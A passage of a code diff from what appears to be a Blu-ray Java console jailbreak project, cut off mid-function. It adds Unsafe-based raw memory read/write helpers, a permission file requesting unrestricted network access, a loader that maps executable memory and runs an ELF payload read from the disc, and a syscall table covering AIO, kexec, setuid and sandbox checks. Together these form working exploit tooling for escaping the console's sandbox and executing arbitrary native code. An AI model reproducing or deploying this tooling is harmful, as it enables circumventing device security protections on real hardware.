* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public final class Int32Array extends Buffer {
|
||||
public Int32Array(int length) {
|
||||
super(length * Int32.SIZE);
|
||||
}
|
||||
|
||||
public int get(int index) {
|
||||
return getInt(index * Int32.SIZE);
|
||||
}
|
||||
|
||||
public void set(int index, int value) {
|
||||
putInt(index * Int32.SIZE, value);
|
||||
}
|
||||
}
|
||||
29
src/org/bdj/api/Int64.java
Normal file
29
src/org/bdj/api/Int64.java
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public final class Int64 extends Buffer {
|
||||
public static final int SIZE = 8;
|
||||
|
||||
public Int64() {
|
||||
super(SIZE);
|
||||
}
|
||||
|
||||
public Int64(long value) {
|
||||
this();
|
||||
set(value);
|
||||
}
|
||||
|
||||
public long get() {
|
||||
return getLong(0x00);
|
||||
}
|
||||
|
||||
public void set(long value) {
|
||||
putLong(0x00, value);
|
||||
}
|
||||
}
|
||||
22
src/org/bdj/api/Int64Array.java
Normal file
22
src/org/bdj/api/Int64Array.java
Normal file
@@ -0,0 +1,22 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public final class Int64Array extends Buffer {
|
||||
public Int64Array(int length) {
|
||||
super(length * Int64.SIZE);
|
||||
}
|
||||
|
||||
public long get(int index) {
|
||||
return getLong(index * Int64.SIZE);
|
||||
}
|
||||
|
||||
public void set(int index, long value) {
|
||||
putLong(index * Int64.SIZE, value);
|
||||
}
|
||||
}
|
||||
29
src/org/bdj/api/Int8.java
Normal file
29
src/org/bdj/api/Int8.java
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public final class Int8 extends Buffer {
|
||||
public static final int SIZE = 1;
|
||||
|
||||
public Int8() {
|
||||
super(SIZE);
|
||||
}
|
||||
|
||||
public Int8(byte value) {
|
||||
this();
|
||||
set(value);
|
||||
}
|
||||
|
||||
public byte get() {
|
||||
return getByte(0x00);
|
||||
}
|
||||
|
||||
public void set(byte value) {
|
||||
putByte(0x00, value);
|
||||
}
|
||||
}
|
||||
22
src/org/bdj/api/Int8Array.java
Normal file
22
src/org/bdj/api/Int8Array.java
Normal file
@@ -0,0 +1,22 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public final class Int8Array extends Buffer {
|
||||
public Int8Array(int length) {
|
||||
super(length * Int8.SIZE);
|
||||
}
|
||||
|
||||
public byte get(int index) {
|
||||
return getByte(index * Int8.SIZE);
|
||||
}
|
||||
|
||||
public void set(int index, byte value) {
|
||||
putByte(index * Int8.SIZE, value);
|
||||
}
|
||||
}
|
||||
41
src/org/bdj/api/NativeInvoke.java
Normal file
41
src/org/bdj/api/NativeInvoke.java
Normal file
@@ -0,0 +1,41 @@
|
||||
package org.bdj.api;
|
||||
|
||||
import org.bdj.api.API;
|
||||
import org.bdj.api.Buffer;
|
||||
|
||||
public class NativeInvoke {
|
||||
static API api;
|
||||
static long sceKernelSendNotificationRequestAddr;
|
||||
|
||||
static {
|
||||
try {
|
||||
api = API.getInstance();
|
||||
sceKernelSendNotificationRequestAddr = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelSendNotificationRequest");
|
||||
} catch (Exception e) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public static int sendNotificationRequest(String msg) {
|
||||
if (sceKernelSendNotificationRequestAddr == 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
long size = 0xc30;
|
||||
Buffer buffer = new Buffer((int)size);
|
||||
|
||||
buffer.fill((byte)0);
|
||||
buffer.putInt(0x10, -1);
|
||||
|
||||
byte[] msgBytes = msg.getBytes();
|
||||
for (int i = 0; i < msgBytes.length && i < (size - 0x2d - 1); i++) {
|
||||
buffer.putByte(0x2d + i, msgBytes[i]);
|
||||
}
|
||||
|
||||
buffer.putByte(0x2d + Math.min(msgBytes.length, (int)(size - 0x2d - 1)), (byte)0);
|
||||
|
||||
long res = api.call(sceKernelSendNotificationRequestAddr, 0, buffer.address(), size, 0);
|
||||
|
||||
return (int)res;
|
||||
}
|
||||
}
|
||||
22
src/org/bdj/api/Text.java
Normal file
22
src/org/bdj/api/Text.java
Normal file
@@ -0,0 +1,22 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public class Text extends Buffer {
|
||||
private final String text;
|
||||
|
||||
public Text(String text) {
|
||||
super(text.length() + 1);
|
||||
this.text = text;
|
||||
api.strcpy(address(), text);
|
||||
}
|
||||
|
||||
public String toString() {
|
||||
return text;
|
||||
}
|
||||
}
|
||||
44
src/org/bdj/api/UnsafeInterface.java
Normal file
44
src/org/bdj/api/UnsafeInterface.java
Normal file
@@ -0,0 +1,44 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
interface UnsafeInterface {
|
||||
public byte getByte(long address);
|
||||
|
||||
public short getShort(long address);
|
||||
|
||||
public int getInt(long address);
|
||||
|
||||
public long getLong(long address);
|
||||
|
||||
public long getLong(Object o, long offset);
|
||||
|
||||
public void putByte(long address, byte x);
|
||||
|
||||
public void putShort(long address, short x);
|
||||
|
||||
public void putInt(long address, int x);
|
||||
|
||||
public void putLong(long address, long x);
|
||||
|
||||
public void putObject(Object o, long offset, Object x);
|
||||
|
||||
public long objectFieldOffset(Field f);
|
||||
|
||||
public long allocateMemory(long bytes);
|
||||
|
||||
public long reallocateMemory(long address, long bytes);
|
||||
|
||||
public void freeMemory(long address);
|
||||
|
||||
public void setMemory(long address, long bytes, byte value);
|
||||
|
||||
public void copyMemory(long srcAddress, long destAddress, long bytes);
|
||||
}
|
||||
92
src/org/bdj/api/UnsafeSunImpl.java
Normal file
92
src/org/bdj/api/UnsafeSunImpl.java
Normal file
@@ -0,0 +1,92 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
class UnsafeSunImpl implements UnsafeInterface {
|
||||
private static final String UNSAFE_CLASS_NAME = "sun.misc.Unsafe";
|
||||
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
|
||||
|
||||
private final Unsafe unsafe;
|
||||
|
||||
UnsafeSunImpl() throws Exception {
|
||||
// Throw exception if class does not exist.
|
||||
Class.forName(UNSAFE_CLASS_NAME);
|
||||
|
||||
// Get unsafe instance.
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
|
||||
theUnsafeField.setAccessible(true);
|
||||
unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
}
|
||||
|
||||
public byte getByte(long address) {
|
||||
return unsafe.getByte(address);
|
||||
}
|
||||
|
||||
public short getShort(long address) {
|
||||
return unsafe.getShort(address);
|
||||
}
|
||||
|
||||
public int getInt(long address) {
|
||||
return unsafe.getInt(address);
|
||||
}
|
||||
|
||||
public long getLong(long address) {
|
||||
return unsafe.getLong(address);
|
||||
}
|
||||
|
||||
public long getLong(Object o, long offset) {
|
||||
return unsafe.getLong(o, offset);
|
||||
}
|
||||
|
||||
public void putByte(long address, byte x) {
|
||||
unsafe.putByte(address, x);
|
||||
}
|
||||
|
||||
public void putShort(long address, short x) {
|
||||
unsafe.putShort(address, x);
|
||||
}
|
||||
|
||||
public void putInt(long address, int x) {
|
||||
unsafe.putInt(address, x);
|
||||
}
|
||||
|
||||
public void putLong(long address, long x) {
|
||||
unsafe.putLong(address, x);
|
||||
}
|
||||
|
||||
public void putObject(Object o, long offset, Object x) {
|
||||
unsafe.putObject(o, offset, x);
|
||||
}
|
||||
|
||||
public long objectFieldOffset(Field f) {
|
||||
return unsafe.objectFieldOffset(f);
|
||||
}
|
||||
|
||||
public long allocateMemory(long bytes) {
|
||||
return unsafe.allocateMemory(bytes);
|
||||
}
|
||||
|
||||
public long reallocateMemory(long address, long bytes) {
|
||||
return unsafe.reallocateMemory(address, bytes);
|
||||
}
|
||||
|
||||
public void freeMemory(long address) {
|
||||
unsafe.freeMemory(address);
|
||||
}
|
||||
|
||||
public void setMemory(long address, long bytes, byte value) {
|
||||
unsafe.setMemory(address, bytes, value);
|
||||
}
|
||||
|
||||
public void copyMemory(long srcAddress, long destAddress, long bytes) {
|
||||
unsafe.copyMemory(srcAddress, destAddress, bytes);
|
||||
}
|
||||
}
|
||||
12
src/org/bdj/bluray.InitXlet.perm
Normal file
12
src/org/bdj/bluray.InitXlet.perm
Normal file
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<permissionrequestfile orgid="0x56789abc" appid="0x4000">
|
||||
<applifecyclecontrol value="true"/>
|
||||
<bd-bindingunitarea value="true"/>
|
||||
<bd-vfs value="true"/>
|
||||
<file value="true"/>
|
||||
<network>
|
||||
<host action="connect,resolve,listen,accept">*:*</host>
|
||||
</network>
|
||||
<servicesel value="true"/>
|
||||
<userpreferences read="true" write="true"/>
|
||||
</permissionrequestfile>
|
||||
337
src/org/bdj/external/BinLoader.java
vendored
Normal file
337
src/org/bdj/external/BinLoader.java
vendored
Normal file
@@ -0,0 +1,337 @@
|
||||
package org.bdj.external;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
|
||||
import org.bdj.api.*;
|
||||
|
||||
public class BinLoader {
|
||||
// Memory mapping constants
|
||||
private static final int PROT_READ = 0x1;
|
||||
private static final int PROT_WRITE = 0x2;
|
||||
private static final int PROT_EXEC = 0x4;
|
||||
private static final int MAP_PRIVATE = 0x2;
|
||||
private static final int MAP_ANONYMOUS = 0x1000;
|
||||
|
||||
// ELF constants
|
||||
private static final int ELF_MAGIC = 0x464c457f; // 0x7F 'E' 'L' 'F' in little endian
|
||||
private static final int PT_LOAD = 1;
|
||||
private static final int PAGE_SIZE = 0x1000;
|
||||
private static final int MAX_PAYLOAD_SIZE = 4 * 1024 * 1024; // 4MB
|
||||
|
||||
private static final int READ_CHUNK_SIZE = 4096;
|
||||
|
||||
private static final String USBPAYLOAD_RESOURCE = "/disc/BDMV/AUXDATA/aiofix_USBpayload.elf";
|
||||
|
||||
private static API api;
|
||||
private static byte[] binData;
|
||||
private static long mmapBase;
|
||||
private static long mmapSize;
|
||||
private static long entryPoint;
|
||||
private static Thread payloadThread;
|
||||
|
||||
static {
|
||||
try {
|
||||
api = API.getInstance();
|
||||
} catch (Exception e) {
|
||||
throw new ExceptionInInitializerError(e);
|
||||
}
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
Thread startThread = new Thread(new Runnable() {
|
||||
public void run() {
|
||||
startInternal();
|
||||
}
|
||||
});
|
||||
startThread.setName("BinLoader");
|
||||
startThread.start();
|
||||
}
|
||||
|
||||
private static void startInternal() {
|
||||
executeEmbeddedPayload();
|
||||
}
|
||||
|
||||
private static void executeEmbeddedPayload() {
|
||||
try {
|
||||
File payload = new File(USBPAYLOAD_RESOURCE);
|
||||
FileInputStream fi = new FileInputStream(payload);
|
||||
byte[] bytes = new byte[fi.available()];
|
||||
fi.read(bytes);
|
||||
fi.close();
|
||||
loadFromData(bytes);
|
||||
run();
|
||||
waitForPayloadToExit();
|
||||
|
||||
} catch (Exception e) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] loadResourcePayload(String resourcePath) throws Exception {
|
||||
InputStream inputStream = BinLoader.class.getResourceAsStream(resourcePath);
|
||||
if (inputStream == null) {
|
||||
throw new RuntimeException("Resource not found: " + resourcePath);
|
||||
}
|
||||
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
byte[] buffer = new byte[READ_CHUNK_SIZE];
|
||||
int bytesRead;
|
||||
int totalRead = 0;
|
||||
|
||||
try {
|
||||
while ((bytesRead = inputStream.read(buffer)) != -1) {
|
||||
outputStream.write(buffer, 0, bytesRead);
|
||||
totalRead += bytesRead;
|
||||
|
||||
// Safety check to prevent excessive resource loading
|
||||
if (totalRead > MAX_PAYLOAD_SIZE) {
|
||||
throw new RuntimeException("Resource payload exceeds maximum size: " + MAX_PAYLOAD_SIZE);
|
||||
}
|
||||
}
|
||||
|
||||
return outputStream.toByteArray();
|
||||
|
||||
} finally {
|
||||
inputStream.close();
|
||||
outputStream.close();
|
||||
}
|
||||
}
|
||||
|
||||
public static void loadFromData(byte[] data) throws Exception {
|
||||
if (data == null) {
|
||||
throw new IllegalArgumentException("Payload data cannot be null");
|
||||
}
|
||||
|
||||
if (data.length == 0) {
|
||||
throw new IllegalArgumentException("Payload data cannot be empty");
|
||||
}
|
||||
|
||||
if (data.length > MAX_PAYLOAD_SIZE) {
|
||||
throw new IllegalArgumentException("Payload too large: " + data.length + " bytes (max: " + MAX_PAYLOAD_SIZE + ")");
|
||||
}
|
||||
|
||||
binData = data;
|
||||
|
||||
// Round up to page boundary with overflow check
|
||||
long mmapSizeCalc;
|
||||
try {
|
||||
mmapSizeCalc = roundUp(data.length, PAGE_SIZE);
|
||||
if (mmapSizeCalc <= 0 || mmapSizeCalc > MAX_PAYLOAD_SIZE * 2) {
|
||||
throw new RuntimeException("Invalid mmap size calculation: " + mmapSizeCalc);
|
||||
}
|
||||
} catch (ArithmeticException e) {
|
||||
throw new RuntimeException("Integer overflow in mmap size calculation");
|
||||
}
|
||||
|
||||
// Allocate executable memory
|
||||
int protFlags = PROT_READ | PROT_WRITE | PROT_EXEC;
|
||||
int mapFlags = MAP_PRIVATE | MAP_ANONYMOUS;
|
||||
|
||||
long ret = Helper.syscall(Helper.SYS_MMAP, 0L, mmapSizeCalc, (long)protFlags, (long)mapFlags, -1L, 0L);
|
||||
if (ret < 0) {
|
||||
int errno = api.errno();
|
||||
throw new RuntimeException("mmap() failed with error: " + ret + " (errno: " + errno + ")");
|
||||
}
|
||||
|
||||
// Validate mmap returned a reasonable address
|
||||
if (ret == 0 || ret == -1) {
|
||||
throw new RuntimeException("mmap() returned invalid address: 0x" + Long.toHexString(ret));
|
||||
}
|
||||
|
||||
mmapBase = ret;
|
||||
mmapSize = mmapSizeCalc;
|
||||
|
||||
|
||||
try {
|
||||
// Check if ELF by reading magic bytes
|
||||
if (data.length >= 4) {
|
||||
int magic = ((data[3] & 0xFF) << 24) | ((data[2] & 0xFF) << 16) |
|
||||
((data[1] & 0xFF) << 8) | (data[0] & 0xFF);
|
||||
|
||||
if (magic == ELF_MAGIC) {
|
||||
entryPoint = loadElfSegments(data);
|
||||
} else {
|
||||
// Copy raw data to allocated memory with bounds checking
|
||||
if (data.length > mmapSize) {
|
||||
throw new RuntimeException("Payload size exceeds allocated memory");
|
||||
}
|
||||
api.memcpy(mmapBase, data, data.length);
|
||||
entryPoint = mmapBase;
|
||||
}
|
||||
} else {
|
||||
throw new RuntimeException("Payload too small (< 4 bytes)");
|
||||
}
|
||||
|
||||
// Validate entry point
|
||||
if (entryPoint == 0) {
|
||||
throw new RuntimeException("Invalid entry point: 0x0");
|
||||
}
|
||||
if (entryPoint < mmapBase || entryPoint >= mmapBase + mmapSize) {
|
||||
throw new RuntimeException("Entry point outside allocated memory range: 0x" + Long.toHexString(entryPoint));
|
||||
}
|
||||
|
||||
|
||||
} catch (Exception e) {
|
||||
// Cleanup on failure
|
||||
long munmapResult = Helper.syscall(Helper.SYS_MUNMAP, mmapBase, mmapSize);
|
||||
if (munmapResult < 0) {
|
||||
}
|
||||
mmapBase = 0;
|
||||
mmapSize = 0;
|
||||
entryPoint = 0;
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
private static long loadElfSegments(byte[] data) throws Exception {
|
||||
// Create temporary buffer for ELF parsing to avoid header corruption
|
||||
long tempBuf = Helper.syscall(Helper.SYS_MMAP, 0L, (long)data.length,
|
||||
(long)(PROT_READ | PROT_WRITE), (long)(MAP_PRIVATE | MAP_ANONYMOUS), -1L, 0L);
|
||||
if (tempBuf < 0) {
|
||||
throw new RuntimeException("Failed to allocate temp buffer for ELF parsing");
|
||||
}
|
||||
|
||||
try {
|
||||
// Copy data to temp buffer for parsing
|
||||
api.memcpy(tempBuf, data, data.length);
|
||||
|
||||
// Read ELF header from temp buffer
|
||||
ElfHeader elfHeader = readElfHeader(tempBuf);
|
||||
|
||||
// Load program segments directly to final locations
|
||||
for (int i = 0; i < elfHeader.phNum; i++) {
|
||||
long phdrAddr = tempBuf + elfHeader.phOff + (i * elfHeader.phEntSize);
|
||||
ProgramHeader phdr = readProgramHeader(phdrAddr);
|
||||
|
||||
if (phdr.type == PT_LOAD && phdr.memSize > 0) {
|
||||
// Calculate segment address (use relative offset)
|
||||
long segAddr = mmapBase + (phdr.vAddr % 0x1000000);
|
||||
|
||||
// Copy segment data from original data array
|
||||
if (phdr.fileSize > 0) {
|
||||
byte[] segmentData = new byte[(int)phdr.fileSize];
|
||||
System.arraycopy(data, (int)phdr.offset, segmentData, 0, (int)phdr.fileSize);
|
||||
api.memcpy(segAddr, segmentData, segmentData.length);
|
||||
}
|
||||
|
||||
// Zero out BSS section
|
||||
if (phdr.memSize > phdr.fileSize) {
|
||||
api.memset(segAddr + phdr.fileSize, 0, phdr.memSize - phdr.fileSize);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return mmapBase + (elfHeader.entry % 0x1000000);
|
||||
|
||||
} finally {
|
||||
// Clean up temp buffer
|
||||
Helper.syscall(Helper.SYS_MUNMAP, tempBuf, (long)data.length);
|
||||
}
|
||||
}
|
||||
|
||||
public static void run() throws Exception {
|
||||
// Create Java thread to execute the payload
|
||||
payloadThread = new Thread(new Runnable() {
|
||||
public void run() {
|
||||
try {
|
||||
// Call the entry point function
|
||||
long result = api.call(entryPoint);
|
||||
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
payloadThread.setName("BinPayload");
|
||||
payloadThread.start();
|
||||
|
||||
}
|
||||
|
||||
public static void waitForPayloadToExit() throws Exception {
|
||||
if (payloadThread != null) {
|
||||
try {
|
||||
payloadThread.join(); // Wait for thread to finish
|
||||
} catch (InterruptedException e) {
|
||||
Thread.currentThread().interrupt(); // Restore interrupt status
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup allocated memory with validation
|
||||
if (mmapBase != 0 && mmapSize > 0) {
|
||||
|
||||
try {
|
||||
long ret = Helper.syscall(Helper.SYS_MUNMAP, mmapBase, mmapSize);
|
||||
if (ret < 0) {
|
||||
int errno = api.errno();
|
||||
} else {
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
|
||||
// Clear variables to prevent reuse
|
||||
mmapBase = 0;
|
||||
mmapSize = 0;
|
||||
entryPoint = 0;
|
||||
binData = null;
|
||||
} else {
|
||||
|
||||
}
|
||||
|
||||
// Clear thread reference
|
||||
payloadThread = null;
|
||||
|
||||
}
|
||||
|
||||
private static class ElfHeader {
|
||||
long entry;
|
||||
long phOff;
|
||||
int phEntSize;
|
||||
int phNum;
|
||||
}
|
||||
|
||||
private static class ProgramHeader {
|
||||
int type;
|
||||
long offset;
|
||||
long vAddr;
|
||||
long fileSize;
|
||||
long memSize;
|
||||
}
|
||||
|
||||
private static ElfHeader readElfHeader(long addr) {
|
||||
ElfHeader header = new ElfHeader();
|
||||
header.entry = api.read64(addr + 0x18);
|
||||
header.phOff = api.read64(addr + 0x20);
|
||||
header.phEntSize = api.read16(addr + 0x36) & 0xFFFF;
|
||||
header.phNum = api.read16(addr + 0x38) & 0xFFFF;
|
||||
return header;
|
||||
}
|
||||
|
||||
private static ProgramHeader readProgramHeader(long addr) {
|
||||
ProgramHeader phdr = new ProgramHeader();
|
||||
phdr.type = api.read32(addr + 0x00);
|
||||
phdr.offset = api.read64(addr + 0x08);
|
||||
phdr.vAddr = api.read64(addr + 0x10);
|
||||
phdr.fileSize = api.read64(addr + 0x20);
|
||||
phdr.memSize = api.read64(addr + 0x28);
|
||||
return phdr;
|
||||
}
|
||||
|
||||
private static long roundUp(long value, long boundary) {
|
||||
if (value < 0 || boundary <= 0) {
|
||||
throw new IllegalArgumentException("Invalid arguments: value=" + value + ", boundary=" + boundary);
|
||||
}
|
||||
|
||||
// Check for potential overflow
|
||||
if (value > Long.MAX_VALUE - boundary) {
|
||||
throw new ArithmeticException("Integer overflow in roundUp calculation");
|
||||
}
|
||||
|
||||
return ((value + boundary - 1) / boundary) * boundary;
|
||||
}
|
||||
}
|
||||
577
src/org/bdj/external/Helper.java
vendored
Normal file
577
src/org/bdj/external/Helper.java
vendored
Normal file
@@ -0,0 +1,577 @@
|
||||
package org.bdj.external;
|
||||
|
||||
import org.bdj.api.*;
|
||||
|
||||
public class Helper {
|
||||
// Constants
|
||||
public static final int AF_INET = 2;
|
||||
public static final int AF_INET6 = 28;
|
||||
public static final int AF_UNIX = 1;
|
||||
public static final int SOCK_DGRAM = 2;
|
||||
public static final int SOCK_STREAM = 1;
|
||||
public static final int IPPROTO_UDP = 17;
|
||||
public static final int IPPROTO_TCP = 6;
|
||||
public static final int IPPROTO_IPV6 = 41;
|
||||
public static final int SOL_SOCKET = 0xffff;
|
||||
public static final int SO_REUSEADDR = 4;
|
||||
public static final int SO_LINGER = 0x80;
|
||||
public static final int TCP_INFO = 0x20;
|
||||
public static final int TCPS_ESTABLISHED = 4;
|
||||
|
||||
// IPv6 Constants
|
||||
public static final int IPV6_RTHDR = 51;
|
||||
public static final int IPV6_TCLASS = 61;
|
||||
public static final int IPV6_2292PKTOPTIONS = 25;
|
||||
public static final int IPV6_PKTINFO = 46;
|
||||
public static final int IPV6_NEXTHOP = 48;
|
||||
|
||||
// AIO Constants
|
||||
public static final int AIO_CMD_READ = 1;
|
||||
public static final int AIO_CMD_WRITE = 2;
|
||||
public static final int AIO_CMD_FLAG_MULTI = 0x1000;
|
||||
public static final int AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ;
|
||||
public static final int AIO_CMD_MULTI_WRITE = AIO_CMD_FLAG_MULTI | AIO_CMD_WRITE;
|
||||
public static final int AIO_STATE_COMPLETE = 3;
|
||||
public static final int AIO_STATE_ABORTED = 4;
|
||||
public static final int AIO_PRIORITY_HIGH = 3;
|
||||
public static final int SCE_KERNEL_ERROR_ESRCH = 0x80020003;
|
||||
public static final int MAX_AIO_IDS = 0x80;
|
||||
|
||||
// CPU and Threading Constants
|
||||
public static final int CPU_LEVEL_WHICH = 3;
|
||||
public static final int CPU_WHICH_TID = 1;
|
||||
public static final int RTP_SET = 1;
|
||||
public static final int RTP_PRIO_REALTIME = 2;
|
||||
|
||||
// Syscall Numbers
|
||||
public static final int SYS_READ = 0x3;
|
||||
public static final int SYS_WRITE = 0x4;
|
||||
public static final int SYS_OPEN = 0x5;
|
||||
public static final int SYS_CLOSE = 0x6;
|
||||
public static final int SYS_GETPID = 0x14;
|
||||
public static final int SYS_GETUID = 0x18;
|
||||
public static final int SYS_ACCEPT = 0x1e;
|
||||
public static final int SYS_PIPE = 0x2a;
|
||||
public static final int SYS_MPROTECT = 0x4a;
|
||||
public static final int SYS_SOCKET = 0x61;
|
||||
public static final int SYS_CONNECT = 0x62;
|
||||
public static final int SYS_BIND = 0x68;
|
||||
public static final int SYS_SETSOCKOPT = 0x69;
|
||||
public static final int SYS_LISTEN = 0x6a;
|
||||
public static final int SYS_GETSOCKOPT = 0x76;
|
||||
public static final int SYS_NETGETIFLIST = 0x7d;
|
||||
public static final int SYS_SOCKETPAIR = 0x87;
|
||||
public static final int SYS_SYSCTL = 0xca;
|
||||
public static final int SYS_NANOSLEEP = 0xf0;
|
||||
public static final int SYS_SIGACTION = 0x1a0;
|
||||
public static final int SYS_THR_SELF = 0x1b0;
|
||||
public static final int SYS_CPUSET_GETAFFINITY = 0x1e7;
|
||||
public static final int SYS_CPUSET_SETAFFINITY = 0x1e8;
|
||||
public static final int SYS_RTPRIO_THREAD = 0x1d2;
|
||||
public static final int SYS_EVF_CREATE = 0x21a;
|
||||
public static final int SYS_EVF_DELETE = 0x21b;
|
||||
public static final int SYS_EVF_SET = 0x220;
|
||||
public static final int SYS_EVF_CLEAR = 0x221;
|
||||
public static final int SYS_IS_IN_SANDBOX = 0x249;
|
||||
public static final int SYS_DLSYM = 0x24f;
|
||||
public static final int SYS_DYNLIB_LOAD_PRX = 0x252;
|
||||
public static final int SYS_DYNLIB_UNLOAD_PRX = 0x253;
|
||||
public static final int SYS_AIO_MULTI_DELETE = 0x296;
|
||||
public static final int SYS_AIO_MULTI_WAIT = 0x297;
|
||||
public static final int SYS_AIO_MULTI_POLL = 0x298;
|
||||
public static final int SYS_AIO_MULTI_CANCEL = 0x29a;
|
||||
public static final int SYS_AIO_SUBMIT_CMD = 0x29d;
|
||||
|
||||
public static final int SYS_MUNMAP = 0x49;
|
||||
public static final int SYS_MMAP = 477;
|
||||
public static final int SYS_JITSHM_CREATE = 0x215;
|
||||
public static final int SYS_JITSHM_ALIAS = 0x216;
|
||||
public static final int SYS_KEXEC = 0x295;
|
||||
public static final int SYS_SETUID = 0x17;
|
||||
|
||||
public static API api;
|
||||
private static long libkernelBase;
|
||||
private static long[] syscallWrappers;
|
||||
public static Buffer AIO_ERRORS;
|
||||
private static String firmwareVersion;
|
||||
|
||||
static {
|
||||
try {
|
||||
api = API.getInstance();
|
||||
syscallWrappers = new long[0x400];
|
||||
AIO_ERRORS = new Buffer(4 * MAX_AIO_IDS);
|
||||
initSyscalls();
|
||||
detectFirmwareVersion();
|
||||
} catch (Exception e) {
|
||||
throw new ExceptionInInitializerError(e);
|
||||
}
|
||||
}
|
||||
|
||||
public static long getLibkernelBase() {
|
||||
return libkernelBase;
|
||||
}
|
||||
|
||||
private static void initSyscalls() throws Exception {
|
||||
collectInfo();
|
||||
findSyscallWrappers();
|
||||
|
||||
int[] requiredSyscalls = {
|
||||
SYS_AIO_SUBMIT_CMD, SYS_AIO_MULTI_DELETE, SYS_AIO_MULTI_WAIT,
|
||||
SYS_AIO_MULTI_POLL, SYS_AIO_MULTI_CANCEL, SYS_SOCKET,
|
||||
SYS_BIND, SYS_LISTEN, SYS_CONNECT, SYS_ACCEPT,
|
||||
SYS_SETSOCKOPT, SYS_GETSOCKOPT, SYS_SOCKETPAIR,
|
||||
SYS_READ, SYS_WRITE, SYS_CLOSE, SYS_OPEN,
|
||||
SYS_EVF_CREATE, SYS_EVF_DELETE, SYS_EVF_SET, SYS_EVF_CLEAR,
|
||||
SYS_GETPID, SYS_GETUID, SYS_SYSCTL, SYS_IS_IN_SANDBOX,
|
||||
SYS_CPUSET_GETAFFINITY, SYS_CPUSET_SETAFFINITY, SYS_RTPRIO_THREAD,
|
||||
SYS_MUNMAP, SYS_MMAP, SYS_JITSHM_CREATE, SYS_JITSHM_ALIAS, SYS_KEXEC, SYS_SETUID
|
||||
};
|
||||
|
||||
boolean allFound = true;
|
||||
for (int i = 0; i < requiredSyscalls.length; i++) {
|
||||
int syscall = requiredSyscalls[i];
|
||||
if (syscallWrappers[syscall] == 0) {
|
||||
allFound = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!allFound) {
|
||||
throw new RuntimeException("Required syscalls not found");
|
||||
}
|
||||
}
|
||||
|
||||
private static void detectFirmwareVersion() {
|
||||
firmwareVersion = sysctlByName("kern.sdk_version");
|
||||
}
|
||||
|
||||
public static String getCurrentFirmwareVersion() {
|
||||
return firmwareVersion;
|
||||
}
|
||||
|
||||
private static String sysctlByName(String name) {
|
||||
Buffer translateNameMib = new Buffer(8);
|
||||
Buffer mib = new Buffer(0x70);
|
||||
Buffer size = new Buffer(8);
|
||||
Buffer resultBuf = new Buffer(8);
|
||||
Buffer resultSize = new Buffer(8);
|
||||
|
||||
// Setup translate name mib
|
||||
translateNameMib.putLong(0, 0x300000000L);
|
||||
size.putLong(0, 0x70);
|
||||
|
||||
// Convert string name to byte array with null terminator
|
||||
byte[] nameBytes = new byte[name.length() + 1];
|
||||
for (int i = 0; i < name.length(); i++) {
|
||||
nameBytes[i] = (byte)name.charAt(i);
|
||||
}
|
||||
nameBytes[name.length()] = 0;
|
||||
Buffer nameBuffer = new Buffer(nameBytes.length);
|
||||
nameBuffer.put(0, nameBytes);
|
||||
|
||||
// Translate name to mib
|
||||
long result = syscall(SYS_SYSCTL, translateNameMib.address(), 2L,
